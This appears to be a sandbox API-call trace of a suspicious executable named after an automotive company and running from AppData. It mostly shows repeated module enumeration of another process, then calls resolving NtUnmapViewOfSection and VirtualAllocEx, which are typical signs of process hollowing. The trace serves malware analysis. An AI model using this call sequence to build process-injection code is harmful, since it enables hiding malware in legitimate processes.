	[0175.504] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.505] GetLastError () returned 0xcb
	[0175.505] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x256b1e4, cb=0xc | out: lpmodinfo=0x256b1e4*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.505] GetLastError () returned 0xcb
	[0175.505] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.506] GetLastError () returned 0xcb
	[0175.506] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.507] GetLastError () returned 0xcb
	[0175.507] CloseHandle (hObject=0x1e8) returned 1
	[0175.507] GetLastError () returned 0xcb
	[0175.511] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0x198ad90f, Data2=0x5726, Data3=0x4459, Data4=([0]=0xaf, [1]=0x74, [2]=0x94, [3]=0xd8, [4]=0x79, [5]=0x6d, [6]=0xd2, [7]=0x3))) returned 0x0
	[0175.521] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0x5678e874, Data2=0x917c, Data3=0x4e5f, Data4=([0]=0xbe, [1]=0xa5, [2]=0x4c, [3]=0x88, [4]=0xc7, [5]=0xbd, [6]=0xc3, [7]=0x49))) returned 0x0
	[0175.523] GetProcAddress (hModule=0x77230000, lpProcName="NtUnmapViewOfSection") returned 0x7724fc70
	[0175.524] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x25778c8, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x25778c8, lpcbNeeded=0x33dec4) returned 1
	[0175.525] GetLastError () returned 0xcb
	[0175.525] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x2577a08, cb=0xc | out: lpmodinfo=0x2577a08*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.525] GetLastError () returned 0xcb
	[0175.525] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.525] GetLastError () returned 0xcb
	[0175.525] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.525] GetLastError () returned 0xcb
	[0175.525] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x2578bc8, cb=0xc | out: lpmodinfo=0x2578bc8*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.526] GetLastError () returned 0xcb
	[0175.526] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.526] GetLastError () returned 0xcb
	[0175.526] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.526] GetLastError () returned 0xcb
	[0175.526] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x2579cbc, cb=0xc | out: lpmodinfo=0x2579cbc*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.526] GetLastError () returned 0xcb
	[0175.526] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.527] GetLastError () returned 0xcb
	[0175.527] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.527] GetLastError () returned 0xcb
	[0175.527] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x257adb8, cb=0xc | out: lpmodinfo=0x257adb8*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.527] GetLastError () returned 0xcb
	[0175.527] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.527] GetLastError () returned 0xcb
	[0175.527] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.528] GetLastError () returned 0xcb
	[0175.528] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x257bebc, cb=0xc | out: lpmodinfo=0x257bebc*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.528] GetLastError () returned 0xcb
	[0175.528] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.528] GetLastError () returned 0xcb
	[0175.528] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.528] GetLastError () returned 0xcb
	[0175.529] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x257cff8, cb=0xc | out: lpmodinfo=0x257cff8*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.529] GetLastError () returned 0xcb
	[0175.529] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.529] GetLastError () returned 0xcb
	[0175.529] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.529] GetLastError () returned 0xcb
	[0175.529] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x257e0fc, cb=0xc | out: lpmodinfo=0x257e0fc*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.530] GetLastError () returned 0xcb
	[0175.530] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.530] GetLastError () returned 0xcb
	[0175.530] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.530] GetLastError () returned 0xcb
	[0175.530] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x257f1f8, cb=0xc | out: lpmodinfo=0x257f1f8*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.531] GetLastError () returned 0xcb
	[0175.531] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.531] GetLastError () returned 0xcb
	[0175.531] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.532] GetLastError () returned 0xcb
	[0175.532] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x25802f4, cb=0xc | out: lpmodinfo=0x25802f4*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.532] GetLastError () returned 0xcb
	[0175.532] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.533] GetLastError () returned 0xcb
	[0175.533] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.533] GetLastError () returned 0xcb
	[0175.533] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x2581440, cb=0xc | out: lpmodinfo=0x2581440*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.533] GetLastError () returned 0xcb
	[0175.533] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.534] GetLastError () returned 0xcb
	[0175.534] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.534] GetLastError () returned 0xcb
	[0175.534] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x258253c, cb=0xc | out: lpmodinfo=0x258253c*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.534] GetLastError () returned 0xcb
	[0175.534] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.535] GetLastError () returned 0xcb
	[0175.535] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.535] GetLastError () returned 0xcb
	[0175.535] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x2583640, cb=0xc | out: lpmodinfo=0x2583640*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.535] GetLastError () returned 0xcb
	[0175.535] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.536] GetLastError () returned 0xcb
	[0175.536] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.536] GetLastError () returned 0xcb
	[0175.536] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x2584778, cb=0xc | out: lpmodinfo=0x2584778*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.536] GetLastError () returned 0xcb
	[0175.537] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.537] GetLastError () returned 0xcb
	[0175.537] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.537] GetLastError () returned 0xcb
	[0175.537] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x2585874, cb=0xc | out: lpmodinfo=0x2585874*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.537] GetLastError () returned 0xcb
	[0175.538] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.538] GetLastError () returned 0xcb
	[0175.538] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.538] GetLastError () returned 0xcb
	[0175.538] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x2586968, cb=0xc | out: lpmodinfo=0x2586968*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.538] GetLastError () returned 0xcb
	[0175.539] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.539] GetLastError () returned 0xcb
	[0175.539] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.539] GetLastError () returned 0xcb
	[0175.539] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x2587a64, cb=0xc | out: lpmodinfo=0x2587a64*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.540] GetLastError () returned 0xcb
	[0175.540] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.540] GetLastError () returned 0xcb
	[0175.540] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.540] GetLastError () returned 0xcb
	[0175.540] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x2588b50, cb=0xc | out: lpmodinfo=0x2588b50*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.541] GetLastError () returned 0xcb
	[0175.541] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.541] GetLastError () returned 0xcb
	[0175.541] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.542] GetLastError () returned 0xcb
	[0175.542] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x2589cd4, cb=0xc | out: lpmodinfo=0x2589cd4*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.542] GetLastError () returned 0xcb
	[0175.542] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.542] GetLastError () returned 0xcb
	[0175.542] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.543] GetLastError () returned 0xcb
	[0175.543] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x258adc8, cb=0xc | out: lpmodinfo=0x258adc8*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.543] GetLastError () returned 0xcb
	[0175.543] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.544] GetLastError () returned 0xcb
	[0175.544] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.544] GetLastError () returned 0xcb
	[0175.544] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x258bebc, cb=0xc | out: lpmodinfo=0x258bebc*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.544] GetLastError () returned 0xcb
	[0175.544] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.545] GetLastError () returned 0xcb
	[0175.545] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.545] GetLastError () returned 0xcb
	[0175.545] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x258cff4, cb=0xc | out: lpmodinfo=0x258cff4*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.546] GetLastError () returned 0xcb
	[0175.546] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.546] GetLastError () returned 0xcb
	[0175.546] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.547] GetLastError () returned 0xcb
	[0175.547] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x258e188, cb=0xc | out: lpmodinfo=0x258e188*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.548] GetLastError () returned 0xcb
	[0175.548] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.548] GetLastError () returned 0xcb
	[0175.548] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.549] GetLastError () returned 0xcb
	[0175.549] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x258f284, cb=0xc | out: lpmodinfo=0x258f284*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.549] GetLastError () returned 0xcb
	[0175.549] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.549] GetLastError () returned 0xcb
	[0175.550] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.550] GetLastError () returned 0xcb
	[0175.550] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x2590378, cb=0xc | out: lpmodinfo=0x2590378*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.550] GetLastError () returned 0xcb
	[0175.550] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.551] GetLastError () returned 0xcb
	[0175.551] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.551] GetLastError () returned 0xcb
	[0175.552] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x2591474, cb=0xc | out: lpmodinfo=0x2591474*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.552] GetLastError () returned 0xcb
	[0175.552] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.552] GetLastError () returned 0xcb
	[0175.552] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.553] GetLastError () returned 0xcb
	[0175.553] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x259260c, cb=0xc | out: lpmodinfo=0x259260c*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.553] GetLastError () returned 0xcb
	[0175.554] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.554] GetLastError () returned 0xcb
	[0175.554] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.554] GetLastError () returned 0xcb
	[0175.555] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x2593708, cb=0xc | out: lpmodinfo=0x2593708*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.555] GetLastError () returned 0xcb
	[0175.555] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.555] GetLastError () returned 0xcb
	[0175.556] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.556] GetLastError () returned 0xcb
	[0175.556] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x2594840, cb=0xc | out: lpmodinfo=0x2594840*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.557] GetLastError () returned 0xcb
	[0175.557] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.557] GetLastError () returned 0xcb
	[0175.557] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.558] GetLastError () returned 0xcb
	[0175.558] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x25959cc, cb=0xc | out: lpmodinfo=0x25959cc*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.558] GetLastError () returned 0xcb
	[0175.558] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.559] GetLastError () returned 0xcb
	[0175.559] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.560] GetLastError () returned 0xcb
	[0175.560] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x2596bb0, cb=0xc | out: lpmodinfo=0x2596bb0*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.560] GetLastError () returned 0xcb
	[0175.560] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.561] GetLastError () returned 0xcb
	[0175.561] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.562] GetLastError () returned 0xcb
	[0175.562] CloseHandle (hObject=0x1e8) returned 1
	[0175.562] GetLastError () returned 0xcb
	[0175.566] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0x30487a64, Data2=0xa923, Data3=0x4620, Data4=([0]=0x82, [1]=0x5e, [2]=0x97, [3]=0x9b, [4]=0x12, [5]=0x4d, [6]=0xfe, [7]=0x89))) returned 0x0
	[0175.576] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0xe1e73f21, Data2=0xcbd9, Data3=0x47cb, Data4=([0]=0xb3, [1]=0x94, [2]=0x46, [3]=0x51, [4]=0x3c, [5]=0x0, [6]=0x11, [7]=0x7d))) returned 0x0
	[0175.584] GetProcAddress (hModule=0x75960000, lpProcName="VirtualAllocEx") returned 0x7598d9b0
	[0175.591] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e8
	[0175.591] GetLastError () returned 0xcb
	[0175.592] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x25a32e8, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x25a32e8, lpcbNeeded=0x33dec4) returned 1
